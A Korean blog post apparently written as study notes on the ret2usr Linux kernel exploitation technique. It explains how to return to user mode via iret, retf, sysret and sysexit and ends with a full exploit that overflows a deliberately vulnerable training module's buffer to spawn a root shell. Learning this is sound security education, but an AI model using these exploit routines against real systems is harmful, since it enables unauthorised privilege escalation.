CIDY
[Linux Kernel] 6. ret2usr 본문
ret2usr는 커널 권한의 실행 흐름을 건드릴 수 있을 때, 이를 조작해 유저 영역의 코드를 실행하는 공격 기법이다.
SMEP나 SMAP와 같은 보호 기법이 적용되어 있지 않는 한, 커널은 자유롭게 사용자 공간의 메모리에 접근하고 실행할 수 있다.
유저 모드 익스가 거의 system("/bin/sh"); 하는 것으로 끝났다면 커널 익스는 commit_creds(prepare_kernel_cred(NULL)); 로 끝난다.
struct task_struct;
struct cred;
struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
(void *) 0xffffffff81081716;
int (*commit_creds)(struct cred *new) =
(void *) 0xffffffff8108157b;
void ret2usr(void)
{
commit_creds(prepare_kernel_cred(NULL)); // 이 코드는 커널에서 실행됩니다.
}
kernel leak을 통해 prepare_kernel_cred함수와 commit_creds 함수의 주소를 구했다면 위 코드의 ret2usr함수를 커널 권한으로 실행해 lpe가 가능하다.
권한 상승에 성공했다면 루트 쉘을 획득할 수 있지만, ret2usr함수는 커널 모드에서 실행될 것이므로 사용자 모드 함수인 system을 바로 호출하면 환경이 맞지 않아 커널 패닉이 발생한다.
따라서 권한 상승 후 사용자 모드로 돌아와서 system함수를 실행해야 한다.
64비트 환경에서 사용자 모드로 전환하려면 swapgs를 실행한 후 iret, retf, sysret, sysexir중 하나를 수행해야 한다.
swapgs
swapgs는 GSBase의 값을 KernelGSbase의 값과 교환하는 명령어이다. 64비트 환경에서 리눅스 커널은 GSBase의 값을 GS의 기준 주소로 사용하고, GSBase:Offset 형식으로 GS영역을 참조한다. 이 GS기준 주소는 유저 모드와 커널 모드에서 다르기 때문에 유저 모드와 커널 모드가 서로 전환될 때 swapgs를 실행해 GSBase의 값을 KernelGSBase의 값과 서로 교환한다.
따라서 유저 모드와 커널 모드가 전환될 때에는 swapgs를 사용해서 GSBase를 교체해주어야 한다.
iret
인터럽트를 처리할 때 x86 cpu는 실행 상태 일부를 trap frame이라는 구조에 맞춰 스택에 저장한다. 64비트 기준으로 RIP, CS, RFLAGS, RSP, SS레지스터 값으로 이루어진다. 이는 인터럽트를 처리한 뒤 원래 실행 상태로 복구할 때 쓰인다.
스택에 trap frame을 적절하게 구성하고 iret을 실행하면 사용자 모드로 전환할 수 있다. RFLAGS레지스터는 0x202로 설정하면 되고, CS = 0x33, SS = 0x2b로 설정하면 된다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
/* IRET에서 사용할 트랩 프레임을 정적으로 할당합니다. */
static struct trap_frame {
void *rip;
uint64_t cs; /* 실제로는 하위 16비트만 사용됨 */
uint64_t rflags;
void *rsp;
uint64_t ss; /* 실제로는 하위 16비트만 사용됨 */
} tf = {
.rip = &shell, /* IRET에서 리턴할 함수 주소 */
.cs = 0x33, /* IRET 이후 CS 레지스터 값 */
.rflags = 0x202, /* IRET 이후 RFLAGS 레지스터 값 */
.rsp = dummy_stack + 512, /* IRET 이후 스택 포인터 */
.ss = 0x2b /* IRET 이후 SS 레지스터 값 */
};
volatile register uint64_t RSP asm("rsp"); /* RSP 레지스터를 변수로 씁니다. */
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RSP = (uint64_t)&tf; /* 스택 포인터를 트랩 프레임에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"iretq" /* IRET 명령을 실행합니다. */
:: "r" (RSP) /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
);
}
retf
iret이랑 비슷한 프레임을 쓰는데, RFLAGS만 없다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* RETF에서 사용할 Far Return 프레임을 정적으로 할당합니다. */
static struct far_return_to_outer_ring_frame {
void *rip;
uint64_t cs; /* 실제로는 하위 16비트만 사용됨 */
void *rsp;
uint64_t ss; /* 실제로는 하위 16비트만 사용됨 */
} frf = {
.rip = &shell, /* RETF에서 리턴할 함수 주소 */
.cs = 0x33, /* RETF 이후 CS 레지스터 값 */
.rsp = dummy_stack + 512, /* RETF 이후 스택 포인터 */
.ss = 0x2b /* RETF 이후 SS 레지스터 값 */
};
volatile register uint64_t RSP asm("rsp"); /* RSP 레지스터를 변수로 씁니다. */
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RSP = (uint64_t)&frf; /* 스택 포인터를 Far Return 프레임에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"retfq" /* RETF 명령을 실행합니다. */
:: "r" (RSP) /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
);
}
CS와 SS세팅은 위와 같이 해주면 된다.
sysret
sysret은 RCX를 RIP로, R11을 RFLAGS로 복사한 뒤 사용자 모드로 복귀하는 명령어이다. 사용자 모드에서 syscall명령어로 시스템 콜 요청이 들어오면 CPU는 RIP를 RCX에, RFLAGS를 R11에 저장하고, syscall처리 이후 sysret을 이용해 원래 흐름으로 돌아온다.
sysret은 구조체가 아닌 레지스터 값을 이용한다. 따라서 RCX는 사용자 영역 코드 주소를, RSP는 리턴 후 스택 포인터로 사용할 주소를, R11는 0x202(RFLAGS)로 설정해주고 sysret을 써야 한다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
volatile register uint64_t R11 asm("r11"), RCX asm("rcx"), RSP asm("rsp");
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
R11 = 0x202; /* SYSRET 이후 RFLAGS 레지스터 값을 지정합니다. */
RCX = (uint64_t)shell; /* SYSRET 이후 리턴할 함수 주소를 지정합니다. */
RSP = (uint64_t)(dummy_stack + 512); /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"sysretq" /* SYSRET 명령을 실행합니다. */
/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
:: "r" (R11), "r" (RCX), "r" (RSP)
);
}
sysexit
sysexit는 RCX를 RSP로, RDX를 RIP로 복사하고 사용자 모드로 복귀하는 명령어이다. 보통 sysenter로 커널에 진입했을 때 sysexit을 사용한다.
따라서 RCX에 RSP로 쓸 주소를, RDX에 실행할 사용자 영역 주소를 주고 sysexit을 쓰면 된다.
원칙적으로 sysexit은 32비트에서만 쓸 수 있지만, 호환 기능이 있으면 64비트 커널에서도 쓸 수 있다.
1. AMD CPU의 경우 sysexit을 이용하여 32비트 사용자 모드로만 복귀할 수 있고, Intel CPU에서만 64비트 사용자 모드로의 복귀가 가능하다.
2. 64비트 사용자 모드로 복귀한 후에는 SS세그먼트 레지스터가 무효한 값으로 설정되므로 사용자 모드에서 스택을 사용하려면 이걸 다시 복구해줘야 한다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* shell_thunk에서 SS 복구 후 호출되는 함수입니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* ret2usr에서 사용자 모드로 반환한 후 shell_thunk 함수가 실행됩니다. */
__attribute__((naked)) void shell_thunk(void) {
asm volatile(
/* SS 레지스터를 복구합니다. */
"mov ax, 0x2b\n\t"
"mov ss, ax\n\t"
/* shell 함수로 이동합니다. */
"jmp shell"
);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
volatile register uint64_t RCX asm("rcx"), RDX asm("rdx");
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RCX = (uint64_t)(dummy_stack + 512); /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
RDX = (uint64_t)shell_thunk; /* SYSEXIT 이후 리턴할 함수 주소를 지정합니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"rex.W sysexit" /* SYSEXIT 명령을 64비트 모드로 실행합니다. */
/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
:: "r" (RCX), "r" (RDX)
);
}
ret2usr
우선 주어진 커널 모듈부터 확인해보자. 처음이니까 init이랑 cleanup도 모두 확인해보자.
static struct proc_dir_entry *proc_r2u;
우선 이렇게 proc_dir_entry형 포인터가 선언되는데, 이는 /proc/lke-ret2usr파일 정보를 저장하기 위한 포인터이다.
int __init init_module(void)
{
/* /proc/lke-ret2usr 파일을 등록합니다.
*
* S_IWUGO: 모든 사용자가 쓰기 권한을 가지도록 합니다.
* &r2u_fops: 파일을 대상으로 한 작업의 구현을 지정합니다.
*/
proc_r2u = proc_create("lke-ret2usr", S_IWUGO, NULL, &r2u_fops);
/* 운영체제 메모리가 부족하면 proc_create() 함수 호출이 실패합니다.
* ENOMEM 오류 코드를 반환하여 사용자에게 이 상태를 통보합니다.
*/
if (!proc_r2u)
return -ENOMEM;
/* 모듈 부착(load)이 성공하였다는 메시지를 출력합니다. */
pr_info("loaded\n");
/* 작업이 성공하였음을 나타냅니다. */
return 0;
}
이 코드는 모듈 로드 시 실행되는 코드로, /proc/lke-ret2usr라는 파일을 등록하는 작업을 한다.
/* 모듈 탈착(unload) 시 호출되는 함수입니다. */
void __exit cleanup_module(void)
{
/* 앞서 등록한 /proc/lke-ret2usr 파일을 시스템으로부터 등록 해제합니다. */
proc_remove(proc_r2u);
/* 모듈 탈착(unload)이 성공하였다는 메시지를 출력합니다. */
pr_info("unloaded\n");
}
이 코드는 모듈 언로드 시 호출되어 등록을 해제해준다.
static ssize_t ret2usr_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
/* 커널 스택 버퍼를 할당합니다. */
char kern_buf[256] = { 0, };
/* 사용자로부터 전달받은 주소의 값을 커널 스택 버퍼로 복사합니다. */
if (_copy_from_user(kern_buf, buf, count) != 0)
return -EFAULT;
/* 작업이 성공했음을 나타냅니다. */
return count;
}
이 모듈의 메인 기능은 이거다. 커널에서 버퍼를 할당한 다음 _copy_from_user함수를 쓰고 있다.
_copy_from_user(buf1, buf2, len); 해서 len만큼 buf2(유저모드)에서 buf1(커널모드)로 사용자 영역의 값을 읽어오는 함수이다.
그런데 이 함수가 인자로 count를 받고 있기 때문에 내 마음대로 count를 설정할 수 있고, bof가 발생하게 된다.
/* 파일을 정의할 때, 가능한 작업들에 대한 구현을 저장하는 구조체입니다. */
static const struct file_operations r2u_fops = {
/* 소유자 커널 모듈을 나타내어, 파일이 열려 있는 동안에는
* 모듈 탈착(unload)을 할 수 없도록 합니다. */
.owner = THIS_MODULE,
/* 파일 쓰기를 구현하는 함수의 포인터를 지정합니다.
* 해당 파일에 write() 시스템 콜이 실행되면 이 함수가 호출됩니다. */
.write = ret2usr_write,
};
마지막으로 bof취약점이 발생하는 ret2usr_write를 쓰려면 lke-ret2usr파일에 write시스템 콜을 쓰면 된다.
그럼 앞서 본 함수들 중 iret을 이용해서 익스해보자.
ret2usr가 어디로 돌아가는지 궁금했는데 스택을 살펴보면 0 ~ 0x100 = kern_buf, 하고 0x10의 더미가 있는데 그걸 pop count, pop rbp를 하고 ret을 하니까 스택 바로 아래가 ret위치이다.
kaslr이 꺼져있다고 가정하므로 이렇게 gdb에서 주소를 구해주면 된다.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#define BUFFER_SIZE 256
struct task_struct;
struct cred;
static struct cred* (*prepare_kernel_cred)(struct task_struct *daemon) = (void*)0xffffffff81081716;
static int (*commit_creds)(struct cred* new) = (void*)0xffffffff8108157b;
uint64_t dummy_stack[512] __attribute__((aligned(16)));
void shell(){
system("/bin/sh");
_exit(0);
}
void ret2usr(){
static struct trap_frame {
void* rip;
uint64_t cs;
uint64_t rflags;
void* rsp;
uint64_t ss;
} tf = {
.rip = &shell,
.cs = 0x33,
.rflags = 0x202,
.rsp = dummy_stack + 512,
.ss = 0x2b
};
volatile register uint64_t RSP asm("rsp");
commit_creds(prepare_kernel_cred(NULL));
RSP = (uint64_t)&tf;
asm volatile(
"cli\n\t"
"swapgs\n\t"
"iretq"
::"r" (RSP)
);
}
int main(){
char buf[0x118] = {0};
int fd = open("/proc/lke-ret2usr", O_WRONLY);
if(fd < 0){
perror("open");
return EXIT_FAILURE;
}
memset(buf, 'A', 0x110);
*(uint64_t*)(buf + 0x110) = (uint64_t)&ret2usr;
write(fd, buf, sizeof(buf));
abort();
}
이렇게 return부분에 ret2usr를 넣어서 쉘을 얻으면 루트 계정을 얻을 수 있다.
Ref.
https://dreamhack.io/lecture/courses/82
Exploit Tech: ret2usr
ret2usr의 원리 및 방법을 학습합니다.
dreamhack.io
'Hack > Kernel' 카테고리의 다른 글
[Linux Kernel] 7. Linux Kernel Protection (1) | 2023.07.27 |
---|---|
[Linux Kernel] 5. Kernel Leak (0) | 2023.07.25 |
[Linux Kernel] 4. prepare & commit (1) | 2023.07.25 |
[Linux Kernel] 3. KASLR (0) | 2023.07.25 |
[Linux Kernel] 2. Kernel Debugging (0) | 2023.07.25 |